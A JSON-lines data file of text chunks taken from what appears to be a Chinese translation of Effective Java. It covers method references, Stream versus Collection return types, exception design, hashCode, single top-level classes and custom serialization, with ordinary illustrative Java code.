    {"text": "43. 方法引用优于lambda表达式.md 43. 方法引用优于lambda表达式.md 43. 方法引用优于 lambda 表达式 lambda 优于匿名类的主要优点是它更简洁。Java 提供了一种生成函数对象的方法，比 lambda 还要简洁，那就是：方法引用（ method references）。下面是一段程序代码片段，它维护一个从任意键到整数值的映射。如果将该值解释为键的实例个数，则该程序是一个多重集合的实现。该代码的功能是，根据键找到整数值，然后在此基础上加 1： map.merge(key, 1 , (count, incr) -> count + incr); 请注意，此代码使用 merge 方法，该方法已添加到 Java 8 中的 Map 接口中。如果没有给定键的映射，则该方法只是插入给定值; 如果映射已经存在，则合并给定函数应用于当前值和给定值，并用结果覆盖当前值。 此代码表示 merge 方法的典型用例。 代码很好读，但仍然有一些样板的味道。 参数 count 和 incr 不会增加太多价值，并且占用相当大的空间。 真的，所有的 lambda 都告诉你函数返回两个参数的和。 从 Java 8 开始， Integer 类（和所有其他包装数字基本类型）提供了一个静态方法总和，和它完全相同。 我们可以简单地传递一个对这个方法的引用，并以较少的视觉混乱得到相同的结果： map.merge(key, 1 , Integer::sum); 方法的参数越多，你可以通过方法引用消除更多的样板。 然而，在一些 lambda 中，选择的参数名称提供了有用的文档，使得 lambda 比方法引用更具可读性和可维护性，即使 lambda 看起来更长。 对于一个方法引用，你无能为力，因为你不能对 lambda 执行任何操作（只有一个难懂的异常 - 如果你好奇的话，参见 JLS，9.9-2）。 也就是说，方法引用通常会导致更短，更清晰的代码。 如果 lambda 变得太长或太复杂，它们也会给你一个结果：你可以从 lambda 中提取代码到一个新的方法中，并用对该方法的引用代替 lambda。 你可以给这个方法一个好名字，并把它文档记录下来。 如果你使用 IDE 编程，它将提供替换 lambda 的方法，并在任何地方使用方法引用。通常情况下，你应该接受这个提议。偶尔，lambda 会比方法引用更简洁。这种情况经常发生在方法与 lambda 相同的类中。例如，考虑这段代码，它被假定出现在一个名为 GoshThisClassNameIsHumongous 的类中： service.execute(GoshThisClassNameIsHumongous::action); 这个 lambda 类似于等价于下面的代码： service.execute(() -> action()); 使用方法引用的代码段既不比使用 lambda 的代码片段更短也不清晰，所以更喜欢后者。 在类似的代码行中， Function 接口提供了一个通用的静态工厂方法来返回标识函数 Function.identity() 。 它通常更短，更清洁，而不使用这种方法，而是使用等效的 lambda 内联代码： x - > x 。 许多方法引用是指静态方法，但有四种方法没有。 等同的 Lambda 其中两个是特定（bound）和任意（unbound）对象方法引用。 在特定对象引用中，接收对象在方法引用中指定。 特定对象引用在本质上与静态引用类似：函数对象与引用的方法具有相同的参数。 在任意对象引用中，接收对象在应用函数对象时通过方法的声明参数之前的附加参数指定。 任意对象引用通常用作流管道（pipelines）中的映射和过滤方法（条目 45）。 最后，对于类和数组，有两种构造方法引用。 构造方法引用用作工厂对象。 下表总结了所有五种方法引用： 方法引用类型 举例 等同的 Lambda Static Integer::parseInt str -> Integer.parseInt(str) Bound Instant.now()::isAfter Instant then = Instant.now(); t -> then.isAfter(t) Unbound String::toLowerCase str -> str.toLowerCase() Class Constructor TreeMap ::new () -> new TreeMap Array Constructor int[]::new len -> new int[len] 总之，方法引用通常为 lambda 提供一个更简洁的选择。 如果方法引用看起来更简短更清晰，请使用它们；否则，还是坚持 lambda。"},
    {"text": "47. 优先使用Collection而不是Stream来作为方法的返回类型.md 47. 优先使用Collection而不是Stream来作为方法的返回类型.md 47. 优先使用 Collection 而不是 Stream 来作为方法的返回类型 许多方法返回元素序列（sequence）。"},
    {"text": "结果代码可能有点嘈杂和不透明，但并非不合理： // Won't compile, due to limitations on Java's type inference for (ProcessHandle ph : ProcessHandle.allProcesses()::iterator) { // Process the process } 不幸的是，如果你试图编译这段代码，会得到一个错误信息: Test.java: 6 : error: method reference not expected here for (ProcessHandle ph : ProcessHandle.allProcesses() ::iterator) { 为了使代码编译，必须将方法引用强制转换为适当参数化的 Iterable 类型： // Hideous workaround to iterate over a stream for (ProcessHandle ph : (Iterable<ProcessHandle>)ProcessHandle.allProcesses()::iterator) 此代码有效，但在实践中使用它太嘈杂和不透明。"},
    {"text": "请注意，在适配器方法中不需要强制转换，因为 Java 的类型推断在此上下文中能够正常工作： // Adapter from Stream<E> to Iterable<E> public static <E> Iterable<E> iterableOf (Stream<E> stream) { return stream::iterator; } 使用此适配器，可以使用 for-each 语句迭代任何流： for (ProcessHandle p : iterableOf(ProcessHandle.allProcesses())) { // Process the process } 注意，条目 34 中的 Anagrams 程序的流版本使用 Files.lines 方法读取字典，而迭代版本使用了 scanner。"},
    {"text": "如果 API 只提供对序列的流访问，而程序员希望使用 for-each 语句遍历序列，那么他们就要做出这种妥协。 相反，如果一个程序员想要使用流管道来处理一个序列，那么一个只提供 Iterable 的 API 会让他感到不安。"},
    {"text": "JDK 同样没有提供适配器，但是编写这个适配器非常简单: // Adapter from Iterable<E> to Stream<E> public static <E> Stream<E> streamOf (Iterable<E> iterable) { return StreamSupport.stream(iterable.spliterator(), false ); } 如果你正在编写一个返回对象序列的方法，并且它只会在流管道中使用，那么当然可以自由地返回流。"},
    {"text": "但是如果你写一个公共 API，它返回一个序列，你应该为用户提供哪些想写流管道，哪些想写 for-each 语句，除非你有充分的理由相信大多数用户想要使用相同的机制。"},
    {"text": "如果返回的序列小到足以容易地放入内存中，那么最好返回一个标准集合实现，例如 ArrayList 或 HashSet 。 但是不要在内存中存储大的序列，只是为了将它作为集合返回。 如果返回的序列很大但可以简洁地表示，请考虑实现一个专用集合。"},
    {"text": "这是代码： // Returns the power set of an input set as custom collection public class PowerSet { public static final <E> Collection<Set<E>> of(Set<E> s) { List<E> src = new ArrayList<>(s); if (src.size() > 30 ) throw new IllegalArgumentException( \"Set too big \" + s); return new AbstractList<Set<E>>() { @Override public int size () { return 1 << src.size(); // 2 to the power srcSize } @Override public boolean contains (Object o) { return o instanceof Set && src.containsAll((Set)o); } @Override public Set<E> get ( int index) { Set<E> result = new HashSet<>(); for ( int i = 0 ; index != 0 ; i++, index >>= 1 ) if ((index & 1 ) == 1 ) result.add(src.get(i)); return result; } }; } } 请注意，如果输入集合超过 30 个元素，则 PowerSet.of 方法会引发异常。"},
    {"text": "这突出了使用 Collection 作为返回类型而不是 Stream 或 Iterable 的缺点： Collection 有 int 返回类型的 size 的方法，该方法将返回序列的长度限制为 Integer.MAX_VALUE 或 2 31 -1。 Collection 规范允许 size 方法返回 2 31 - 1，如果集合更大，甚至无限，但这不是一个完全令人满意的解决方案。"},
    {"text": "例如，（a，b，c）的前缀是（a），（a，b）和（a，b，c）。 类似地，让我们调用包含后缀的最后一个元素的子列表，因此（a，b，c）的后缀是（a，b，c），（b，c）和（c）。"},
    {"text": "这一观察直接展现了一个清晰，合理简洁的实现： // Returns a stream of all the sublists of its input list public class SubLists { public static <E> Stream<List<E>> of(List<E> list) { return Stream.concat(Stream.of(Collections.emptyList()), prefixes(list).flatMap(SubLists::suffixes)); } private static <E> Stream<List<E>> prefixes(List<E> list) { return IntStream.rangeClosed( 1 , list.size()) .mapToObj(end -> list.subList( 0 , end)); } private static <E> Stream<List<E>> suffixes(List<E> list) { return IntStream.range( 0 , list.size()) .mapToObj(start -> list.subList(start, list.size())); } } 请注意， Stream.concat 方法用于将空列表添加到返回的流中。"},
    {"text": "因此，我们的子列表实现似于明显的嵌套 for 循环: for ( int start = 0 ; start < src.size(); start++) for ( int end = start + 1 ; end <= src.size(); end++) System.out.println(src.subList(start, end)); 可以将这个 for 循环直接转换为流。"},
    {"text": "它类似于条目 45 中的笛卡尔积的使用流的代码: // Returns a stream of all the sublists of its input list public static <E> Stream<List<E>> of(List<E> list) { return IntStream.range( 0 , list.size()) .mapToObj(start -> IntStream.rangeClosed(start + 1 , list.size()) .mapToObj(end -> list.subList(start, end))) .flatMap(x -> x); } 与之前的 for 循环一样，此代码不会包换空列表。"},
    {"text": "75. 在细节消息中包含失败一捕获信息.md 75. 在细节消息中包含失败一捕获信息.md 75. 在细节消息中包含失败一捕获信息 当程序由于未被捕获的异常而失败的时’候，系统会自动地打印出该异常的堆栈轨迹。在堆栈轨迹中包含该异常的字符串表示法 (string representation)，即它的 toString 方法的调用结果。它通常包含该异常的类名，紧随其后的是细节消息 (detail message)。通常，这只是程序员或者网站可靠性工程师在调查软件失败原因时必须检查的信息。如果失败的情形不容易重现，要想获得更多的信息会非常困难，甚至是不可能的。因此，异常类型的 toString 方法应该尽可能多地返回有关失败原因的信息，这一点特别重要。换句话说，异常的字符串表示法应该捕获失败，以便于后续进行分析。 为了捕获失败，异常的细节信息应该包含“对该异常有贡献”的所有参数和字段的值。 例如， IndexOutOfBoundsException 异常的细节消息应该包含下界、上界以及没有落在界内的下标值。该细节消息提供了许多关于失败的信息。这三个值中任何一个或者全部都有可能是错的。实际的下标值可能小于下界或等于上界（“越界错误”），或者它可能是个无效值，太小或太大。下界也有可能大于上界（严重违反内部约束条件的一种情况） 。每一种情形都代表了不同的问题，如果程序员知道应该去查找哪种错误，就可以极大地加速诊断过程。 对安全敏感的信息有一条忠告。由于在诊断和修正软件问题的过程中，许多人都可以看见堆栈轨迹， 因此千万不要在细节消息中包含密码、密钥以及类似的信息！ 虽然在异常的细节消息中包含所有相关的数据是非常重要的，但是包含大量的描述信息往往没有什么意义。堆栈轨迹的用途是与源文件结合起来进行分析，它通常包含抛出该异常的确切文件和行数，以及堆校中所有其他方法调用所在的文件和行数。关于失败的冗长描述信息通常是不必要的，这些信息可以通过阅读源代码而获得。 异常的细节消息不应该与“用户层次的错误消息”混为一谈，后者对于最终用户而言必须是可理解的。与用户层次的错误消息不同，异常的字符串表示法主要是让程序员或者网站可靠性工程师用来分析失败的原因。因此，信息的内容比可读性要重要得多。用户层次的错误消息经常被本地化，而异常的细节消息则几乎没有被本地化。 为了确保在异常的细节消息中包含足够的失败－ 捕捉信息， 一种办法是在异常的构造器而不是字符串细节消息中引人这些信息。然后，有了这些信息，只要把它们放到消息描述中，就可以自动产生细节消息。例如 IndexOutOfBoundsException 使用如下构造器代替 String 构造器： /** * Constructs an IndexOutOfBoundsException. * * @param lowerBound the lowest legal index value * @param upperBound the highest legal index value plus one * @param index the actual index value */ public IndexOutOfBoundsException ( int lowerBound, int upperBound, int index ) { // Generate a detail message that captures the failure super (String.format( \"Lower bound: %d, Upper bound: %d, Index: %d\" , lowerBound, upperBound, index ) ); // Save failure information for programmatic access this .lowerBound = lowerBound; this .upperBound = upperBound; this .index = index; } 从 Java 9 开始， IndexOutOfBoundsException 终于获得了一个构造器，它可以带一个类型为 int 的 index 参数值，但遗憾的是，它删去了 lowerBound 和 upperBound 参数。更通俗地说， Java 平台类库并没有广泛地使用这种做法，但是，这种做法仍然值得大力推荐。它使程序员更加易于抛出异常以捕获失败。实际上，这种做法使程序员不想捕获失败都难！ 这种做法可以有效地把代码集中起来放在异常类中，由这些代码对异常类自身中的异常产生高质量的细节消息，而不是要求类的每个用户都多余地产生细节消息。 正如第 70 条中所建议的， 为异常的失败－ 捕获信息 (在上述例子中为 lowerBound 、upperBound 和 index ) 提供一些访问方法是合适的。提供这样的访问方法对受检的异常，比对未受检异常更为重要，因为失败一捕获信息对于从失败中恢复是非常有用的。程序员希望通过程序的手段来访问未受检异常的细节，这很少见 (尽管也是可以想象的) 。然而，即使对于未受检异常，作为一般原则提供这些访问方法也是明智的 (详见第 12 条) 。"},
    {"text": "69. 只针对异常的情况下才使用异常.md 69. 只针对异常的情况下才使用异常.md 69. 只针对异常的情况下才使用异常 假如你某一天不走运的话，可能遇到如下代码： /* Horrible abuse of exceptions. Don't ever do this! */ try { int i = 0 ; while ( true ) range[i++].climb(); } catch ( ArrayIndexOutOfBoundsException e ) { } 这段代码有什用，看起来根本不明显，这正是它没有真正被使用的原因（详见 67 条）。事实证明，作为一个要对数组元素进行遍历的实现方式，它的构想是十分拙劣的。当这个循环企图访问数组边界之外的第一个数组元素的时候，使用 try-catch 并且忽略 ArrayIndexOutOfBoundsException 异常的手段来达到终止无限循环的目的。假定它与数组循环的标准模式是等价的，对于它的标准模式每个 Java 程序员都可以一眼辨认出来： for ( Mountain m : range ) m.climb(); 那么为什么有人会企图使用基于异常的循环，而不是使用行之有效的模式呢？这是他们误以为可以使用 Java 的错误判断机制来提高程序性能，因为 VM 对每次数组访问都要检查越界情况，所以他们认为正常的循环终止测试被编译器隐藏了，但是在 for-each 中仍然可见，这是多余的并且应当避免。这种想法有三个错误： 因为异常设计的初衷适用于不正常的情形，所有几乎没有 JVM 实现试图对他们进行优化，使它们与显式的测试一样快。 把代码放在 try-catch 块中反而阻止了现代 JVM 实现本可能执行的某些特定优化。 对数据进行遍历的标准模式并不会导致冗余的检查。有些 JVM 实现会将它们优化掉。 实际上基于异常的模式比标准模式要慢得多。在我本地的机器上，对于一个有 100 个元素的数组进行遍历，标准模式比基于异常的模式快了 2 倍。 基于异常的循环模式不仅模糊了代码的意图，降低了它的性能，而且它还不能保证正常工作！如果出现了不相关的 bug，这个模式会悄悄的消失从而掩盖了这个 Bug，极大地增加了调试过程的复杂性。假设循环体的计算过程中调用了一个方法，这个方法执行了对某个不相关数组的越界访问。如果使用合理的循环模式，这个 Bug 会产生未被捕捉的异常，从而导致线程立即结束，并产生完整的堆栈轨迹。如果使用这个被误导的基于异常的循环模式，与这个 Bug 相关的异常将会被捕捉到，并且被错误的解释为正常的循环终止条件。 这个例子的教训很简单：顾名思义， 异常应该只用于异常的情况下；他们永远不应该用于正常的程序控制流程。 一般的，应该优先使用标准的、容易理解的模式，而不是那些声称可以提供更好性能的、弄巧成拙的方法。即使真的能够改进性能，面对平台的不断改进，这种模型的性能优势也不可能一直保持。然而这种过度聪明的模式带来的微妙 Bug 和维护的痛苦将依旧存在。 这条原则对于 API 设计也有启发 。设计良好的 API 不应该强迫它的客户端为了正常的控制流程而使用异常。 如果类中具有“状态相关”（state-dependent）的方法，即只有在特定的不可预知的条件下才可以被调用的方法，这个类往往也应该具有一个单独的“状态测试”（state-testing）方法，即表明是否可以调用这个状态相关的方法。比如 Iterator 接口含有状态相关的 next 方法，以及相应的状态测试方法 hasNext。这使得利用传统的 for 循环（以及 for-each 循环，在内部使用了 hasNext 方法）对集合进行迭代的标准模式成为可能。 for ( Iterator<Foo> i = collection.iterator(); i.hasNext(); ){ Foo foo = i.next(); ... } 如果 Iterator 缺少 hasNext 方法，客户端将被迫改用下面的做法： /* Do not use this hideous code for iteration over a collection! */ try { Iterator<Foo> i = collection.iterator(); while ( true ) { Foo foo = i.next(); ... } } catch ( NoSuchElementException e ) { } 这应该非常类似于本条目刚开始时对数据进行迭代的例子。除了代码繁琐令人误解之外，这个基于异常的模式可能执行起来也比标准模式更差，并且还可能掩盖系统中其他不相关部分的 Bug。 另外一种提供单独状态测试的做法是，如果“状态相关”方法无法执行想要的计算，就可以让它返回一个零长度的 optional 值（详见第 55 条），或者返回一个可被识别的返回值，比如 null。 对于“状态测试方法”和“optional 返回值或者可识别的返回值”这两种做法，有些指导原则可以帮助你在两者之间做出选择。如果对象将在缺少外部同步的情况下被并发访问，或者可被外界改变状态，就必须使用“optional 返回值或者可识别的返回值”，因为在调用“状态测试”方法和调用对应的“状态相关”方法的时间间隔之中，对象的状态有可能发生变化。如果单独的“状态测试”方法必须重复“状态相关”方法的工作，从性能的角度考虑，就必须使用可被识别的返回值。如果其他方面都是等同的，那么“状态测试”方法则优于可被识别的返回值。他提供了相对更高的可读性，对于使用不当的情形可能更加易于检测和改正：如果忘了去调用状态测试方法，状态相关的方法就会抛出异常，使得这个 Bug 变得很明显；如果忘了去检查可识别的返回值，这个 Bug 就很难被发现。optional 返回值不会有这方面的问题。 总而言之，异常是为了在异常情况下被设计和使用的。不要将它们勇于普通的控制流程，也不要编写迫使它们这么做的 API。"},
    {"text": "74. 每个方法抛出的异常都需要创建文档.md 74. 每个方法抛出的异常都需要创建文档.md 74. 每个方法抛出的异常都需要创建文档 描述一个方法所抛出的异常，是正确使用这个方法时所需文档的重要组成部分。因此，花点时间仔细地为每个方法抛出的异常建立文档是特别重要的。 始终要单独地声明受检异常， 并且利用 Javadoc 的＠ throws 标签， 准确地记录下抛出每个异常的条件。 如果一个公有方法可能抛出多个异常类，则不要使用“快捷方式”声明它会抛出这些异常类的某个超类。永远不要声明一个公有方法直接“ throws Exception”，或者更糟糕的是声明它直接“ throws Throwable ”，这是非常极端的例子。这样的声明不仅没有为程序员提供关于“这个方法能够抛出哪些异常”的任何指导信息，而且大大地妨碍了该方法的使用，因为它实际上掩盖了该方法在同样的执行环境下可能抛出的任何其他异常。这条建议有一个例外，就是 main 方法它可以被安全地声明抛出 Exception ，因为它只通过虚拟机调用。 虽然 Java 语言本身并没有要求程序员为一个方法声明它可能会抛出的未受检异常，但是，如同受检异常一样，仔细地为它们建立文档是非常明智的。未受检异常通常代表编程上的错误(详见第 70 条)，让程序员了解所有这些错误都有助于帮助他们避免犯同样的错误。对于方法可能抛出的未受检异常，如果将这些异常信息很好地组织成列表文档，就可以有效地描述出这个方法被成功执行的前提条件。每个方法的文档应该描述它的前提条件(详见第 56 条)，这是很重要的，在文档中记录下未受检异常是满足前提条件的最佳做法。 对于接口中的方法，在文档中记录下它可能抛出的未受检异常显得尤为重要。这份文档构成了该接口的通用约定( general contract )的一部分，它指定了该接口的多个实现必须遵循的公共行为。 使用 Javadoc 的 ＠throws 标签记录下一个方法可能抛出的每个未受检异常，但是不要使用 throws 关键字将未受检的异常包含在方法的声明中。 使用 API 的程序员必须知道哪些异常是需要受检的，哪些是不需要受检的，因为他们有责任区分这两种情形。当缺少由 throws 声明产生的方法标头时，由 Javadoc 的 ＠throws 标签所产生的文档就会提供明显的提示信息，以帮助程序员区分受检异常和未受检异常。 应该注意的是，为每个方法可能抛出的所有未受检异常建立文档是很理想的，但是在实践中并非总能做到这一点。当类被修订之后，如果有个导出方法被修改了，它将会抛出额外的未受检异常，这不算违反源代码或者二进制兼容性。假设一个类调用了另一个独立编写的类中的方法。第一个类的编写者可能会为每个方法抛出的未受检异常仔细地建立文档，但是，如果第二个类被修订了，抛出了额外的未受检异常，很有可能第一个类(它并没有被修订)就会把新的未受检异常传播出去，尽管它并没有声明这些异常。 如果一个类中的许多方法出于同样的原因而抛出同一个异常，在该类的文档注释中对这个异常建立文档，这是可以接受的， 而不是为每个方法单独建立文档。一个常见的例子是 NullPointerException。 若类的文档注释中有这样的描述：＂All methods in this class throw aNullPointerException if a null object reference is passed in any parameter ”(如果 null 对象引用被传递到任何一个参数中，这个类中的所有方法都会抛出 NullPointerException )，或者有其他类似的语句，这是可以的。 总而言之，要为你编写的每个方法所能抛出的每个异常建立文档。对于未受检异常和受检异常，以及抽象的方法和具体的方法一概如此。这个文档在文档注释中应当采用@throws 标签的形式。要在方法的 throws 子句中为每个受检异常提供单独的声明，但是不要声明未受检的异常。如果没有为可以抛出的异常建立文档，其他人就很难或者根本不可能有效地使用你的类和接口。"},
    {"text": "25. 将源文件限制为单个顶级类.md 25. 将源文件限制为单个顶级类.md 25. 将源文件限制为单个顶级类 虽然 Java 编译器允许在单个源文件中定义多个顶级类，但这样做没有任何好处，并且存在重大风险。 风险源于在源文件中定义多个顶级类使得为类提供多个定义成为可能。 使用哪个定义会受到源文件传递给编译器的顺序的影响。 为了具体说明，请考虑下面源文件，其中只包含一个引用其他两个顶级类（ Utensil 和 Dessert 类）的成员的 Main 类： public class Main { public static void main (String[] args) { System.out.println(Utensil.NAME + [Dessert.NAME](http: //Dessert.NAME)); } } 现在假设在 Utensil.java 的源文件中同时定义了 Utensil 和 Dessert ： // Two classes defined in one file. Don't ever do this! class Utensil { static final String NAME = \"pan\" ; } class Dessert { static final String NAME = \"cake\" ; } 当然， main 方法会打印 pancake 。 现在假设你不小心创建了另一个名为 Dessert.java 的源文件，它定义了相同的两个类： // Two classes defined in one file. Don't ever do this! class Utensil { static final String NAME = \"pot\" ; } class Dessert { static final String NAME = \"pie\" ; } 如果你足够幸运，使用命令 javac Main.java Dessert.java 编译程序，编译将失败，编译器会告诉你，你已经多次定义了类 Utensil 和 Dessert 。 这是因为编译器首先编译 Main.java ，当它看到对 Utensil 的引用（它在 Dessert 的引用之前）时，它将在 Utensil.java 中查找这个类并找到 Utensil 和 Dessert 。 当编译器在命令行上遇到 Dessert.java 时，它也将拉入该文件，导致它遇到 Utensil 和 Dessert 的定义。 如果使用命令 javac Main.java 或 javac Main.java Utensil.java 编译程序，它的行为与在编写 Dessert.java 文件（即打印 pancake ）之前的行为相同。 但是，如果使用命令 javac Dessert.java Main.java 编译程序 ，它将打印 potpie 。 程序的行为因此受到源文件传递给编译器的顺序的影响，这显然是不可接受的。 解决这个问题很简单，将顶层类（如我们的例子中的 Utensil 和 Dessert ）分割成单独的源文件。 如果试图将多个顶级类放入单个源文件中，请考虑使用静态成员类（条目 24）作为将类拆分为单独的源文件的替代方法。 如果这些类从属于另一个类，那么将它们变成静态成员类通常是更好的选择，因为它提高了可读性，并且可以通过声明它们为私有（条目 15）来减少类的可访问性。下面是我们的例子看起来如何使用静态成员类： // Static member classes instead of multiple top-level classes public class Test { public static void main (String[] args) { System.out.println(Utensil.NAME + [Dessert.NAME](http: //Dessert.NAME)); } private static class Utensil { static final String NAME = \"pan\" ; } private static class Dessert { static final String NAME = \"cake\" ; } } 这个教训很清楚：永远不要将多个顶级类或接口放在一个源文件中。 遵循这个规则保证在编译时不能有多个定义。 这又保证了编译生成的类文件以及生成的程序的行为与源文件传递给编译器的顺序无关。"},
    {"text": "67. 明智审慎地进行优化.md 67. 明智审慎地进行优化.md 67. 明智审慎地进行优化 有三条关于优化的格言是每个人都应该知道的： 比起其他任何单一的原因（包括盲目的愚蠢），很多计算上的过失都被归昝于效率（不一定能实现）。"},
    {"text": "—Donald E. Knuth [Knuth74] 在优化方面，我们应该遵守两条规则： 规则 1：不要进行优化。 规则 2 （仅针对专家）：还是不要进行优化，也就是说，在你还没有绝对清晰的未优化方案之前，请不要进行优化。"},
    {"text": "好的程序体现了信息隐藏的原则：在可能的情况下，它们在单个组件中本地化设计决策，因此可以在不影响系统其余部分的情况下更改单个决策（详见第 15 条）。"},
    {"text": "与 C 和 C++ 等更传统的语言相比，Java 甚至更需要度量尝试优化的效果，因为 Java 的性能模型更弱：各种基本操作的相对成本没有得到很好的定义。"},
    {"text": "如果你要在多个实现或多个硬件平台上运行程序，那么度量优化对每个平台的效果是很重要的。 有时候，你可能会被迫在不同实现或硬件平台上的性能之间进行权衡。"},
    {"text": "11. 重写equals方法时同时也要重写hashcode方法.md 11. 重写equals方法时同时也要重写hashcode方法.md 11. 重写 equals 方法时同时也要重写 hashcode 方法 在每个类中，在重写 equals 方法的时侯，一定要重写 hashcode 方法。"},
    {"text": "如果两个对象根据 equals(Object) 方法比较是相等的，那么在两个对象上调用 hashCode 就必须产生的结果是相同的整数。 如果两个对象根据 equals(Object) 方法比较并不相等，则不要求在每个对象上调用 hashCode 都必须产生不同的结果。"},
    {"text": "根据类的 equals 方法，两个不同的实例可能在逻辑上是相同的，但是对于 Object 类的 hashCode 方法，它们只是两个没有什么共同之处的对象。 因此， Object 类的 hashCode 方法返回两个看似随机的数字，而不是按约定要求的两个相等的数字。"},
    {"text": "举例说明，假设你使用条目 10 中的 PhoneNumber 类的实例做为 HashMap 的键（key）： Map<PhoneNumber, String> m = new HashMap<>(); m.put( new PhoneNumber( 707 , 867 , 5309 ), \"Jenny\" ); 你可能期望 m.get(new PhoneNumber(707, 867, 5309)) 方法返回 Jenny 字符串，但实际上，返回了 null。"},
    {"text": "put 方法把 PhoneNumber 实例保存在了一个哈希桶（ hash bucket）中，但 get 方法却是从不同的哈希桶中去查找，即使恰好两个实例放在同一个哈希桶中，get 方法几乎肯定也会返回 null。"},
    {"text": "以下示例，虽然永远是合法的，但绝对不能这样使用： // The worst possible legal hashCode implementation - never use! @Override public int hashCode () { return 42 ; } 这是合法的，因为它确保了相等的对象具有相同的哈希码。"},
    {"text": "） 对于对象中剩余的重要属性 f ，请执行以下操作： a. 比较属性 f 与属性 c 的 int 类型的哈希码： -- i. 如果这个属性是基本类型的，使用 Type.hashCode(f) 方法计算，其中 Type 类是对应属性 f 基本类型的包装类。"},
    {"text": "让我们把上述办法应用到 PhoneNumber 类中： // Typical hashCode method @Override public int hashCode () { int result = Short.hashCode(areaCode); result = 31 * result + Short.hashCode(prefix); result = 31 * result + Short.hashCode(lineNum); return result; } 因为这个方法返回一个简单的确定性计算的结果，它的唯一的输入是 PhoneNumber 实例中的三个重要的属性，所以显然相等的 PhoneNumber 实例具有相同的哈希码。 实际上，这个方法是 PhoneNumber 的一个非常好的 hashCode 实现，与 Java 平台类库中的实现一样。"},
    {"text": "以下是使用这种技术编写的 PhoneNumber 的哈希函数： // One-line hashCode method - mediocre performance @Override public int hashCode () { return Objects.hash(lineNum, prefix, areaCode); } 如果一个类是不可变的，并且计算哈希码的代价很大，那么可以考虑在对象中缓存哈希码，而不是在每次请求时重新计算哈希码。"},
    {"text": "请注意，属性 hashCode 的初始值（在本例中为 0）不应该是通常创建的实例的哈希码： // hashCode method with lazily initialized cached hash code private int hashCode; // Automatically initialized to 0 @Override public int hashCode () { int result = hashCode; if (result == 0 ) { result = Short.hashCode(areaCode); result = 31 * result + Short.hashCode(prefix); result = 31 * result + Short.hashCode(lineNum); hashCode = result; } return result; } 不要试图从哈希码计算中排除重要的属性来提高性能。"},
    {"text": "87. 考虑使用自定义的序列化形式.md 87. 考虑使用自定义的序列化形式.md 87. 考虑使用自定义的序列化形式 当你在时间紧迫的情况下编写类时，通常应该将精力集中在设计最佳的 API 上。"},
    {"text": "接受默认的序列化形式应该是一个三思而后行的决定，即从灵活性、性能和正确性的角度综合来看，这种编码是合理的。 一般来说，设计自定义序列化形式时，只有与默认序列化形式所选择的编码在很大程度上相同时，才应该接受默认的序列化形式。 对象的默认序列化形式，相对于它的物理表示法而言是一种比较有效的编码形式。"},
    {"text": "例如，默认的序列化形式对于下面的类来说是合理的，它简单地表示一个人的名字： // Good candidate for default serialized form public class Name implements Serializable { /** * Last name. Must be non-null. * @serial */ private final String lastName; /** * First name. Must be non-null. * @serial */ private final String firstName; /** * Middle name, or null if there is none. * @serial */ private final String middleName; ... // Remainder omitted } 从逻辑上讲，名字由三个字符串组成，分别表示姓、名和中间名。"},
    {"text": "它表示一个字符串列表（使用标准 List 实现可能更好，但此时暂不这么做）： // Awful candidate for default serialized form public final class StringList implements Serializable { private int size = 0 ; private Entry head = null ; private static class Entry implements Serializable { String data; Entry next; Entry previous; } ... // Remainder omitted } 从逻辑上讲，这个类表示字符串序列。"},
    {"text": "提醒一下，transient 修饰符表示要从类的默认序列化表单中省略该实例字段： // StringList with a reasonable custom serialized form public final class StringList implements Serializable { private transient int size = 0 ; private transient Entry head = null ; // No longer Serializable! private static class Entry { String data; Entry next; Entry previous; } // Appends the specified string to the list public final void add (String s) { ... } /** * Serialize this { @code StringList} instance. ** @serialData The size of the list (the number of strings * it contains) is emitted ({ @code int}), followed by all of * its elements (each a { @code String}), in the proper * sequence. */ private void writeObject (ObjectOutputStream s) throws IOException { s.defaultWriteObject(); s.writeInt(size); // Write out all elements in the proper order. for (Entry e = head; e != null ; e = e.next) s.writeObject(e.data); } private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int numElements = s.readInt(); // Read in all elements and insert them in list for ( int i = 0 ; i < numElements; i++) add((String) s.readObject()); } ... // Remainder omitted } writeObject 做的第一件事是调用 defaultWriteObject, readObject 做的第一件事是调用 defaultReadObject，即使 StringList 的所有字段都是 transient 的。 你可能听说过，如果一个类的所有实例字段都是 transient 的，那么你可以不调用 defaultWriteObject 和 defaultReadObject，但是序列化规范要求你无论如何都要调用它们。"},
    {"text": "注意，writeObject 方法有一个文档注释，即使它是私有的。 这类似于 Name 类中私有字段的文档注释。 这个私有方法定义了一个公共 API，它是序列化的形式，并且应该对该公共 API 进行文档化。"},
    {"text": "为了给前面的性能讨论提供一定的伸缩性，如果平均字符串长度是 10 个字符，那么经过修改的 StringList 的序列化形式占用的空间大约是原始字符串序列化形式的一半。 在我的机器上，序列化修订后的 StringList 的速度是序列化原始版本的两倍多，列表长度为 10。"},
    {"text": "虽然默认的序列化形式对 StringList 不好，但是对于某些类来说，情况会更糟。 对于 StringList，默认的序列化形式是不灵活的，并且执行得很糟糕，但是它是正确的，因为序列化和反序列化 StringList 实例会生成原始对象的无差错副本，而所有不变量都是完整的。"},
    {"text": "如果使用自定义序列化表单，大多数或所有实例字段都应该标记为 transient，如上面的 StringList 示例所示。 如果使用默认的序列化形式，并且标记了一个或多个字段为 transient，请记住，当反序列化实例时，这些字段将初始化为默认值：对象引用字段为 null，数字基本类型字段为 0，布尔字段为 false [JLS, 4.12.5]。"},
    {"text": "如果这些值对于任何 transient 字段都是不可接受的，则必须提供一个 readObject 方法，该方法调用 defaultReadObject 方法，然后将 transient 字段恢复为可接受的值（详见第 88 条）。"},
    {"text": "例如，如果你有一个线程安全的对象（详见第 82 条），它通过同步每个方法来实现线程安全，并且你选择使用默认的序列化形式，那么使用以下 write-Object 方法： // writeObject for synchronized class with default serialized form private synchronized void writeObject (ObjectOutputStream s) throws IOException { s.defaultWriteObject(); } 如果将同步放在 writeObject 方法中，则必须确保它遵守与其他活动相同的锁排序约束，否则将面临资源排序死锁的风险 [Goetz06, 10.1.5]。"},
    {"text": "声明序列版本 UID 很简单，只要在你的类中增加这一行： private static final long serialVersionUID = randomLongValue; 如果你编写一个新类，为 randomLongValue 选择什么值并不重要。"},
    {"text": "如果你希望创建一个新版本的类，它与现有版本不兼容，如果更改序列版本 UID 声明中的值，这将导致反序列化旧版本的序列化实例的操作引发 InvalidClassException。"},
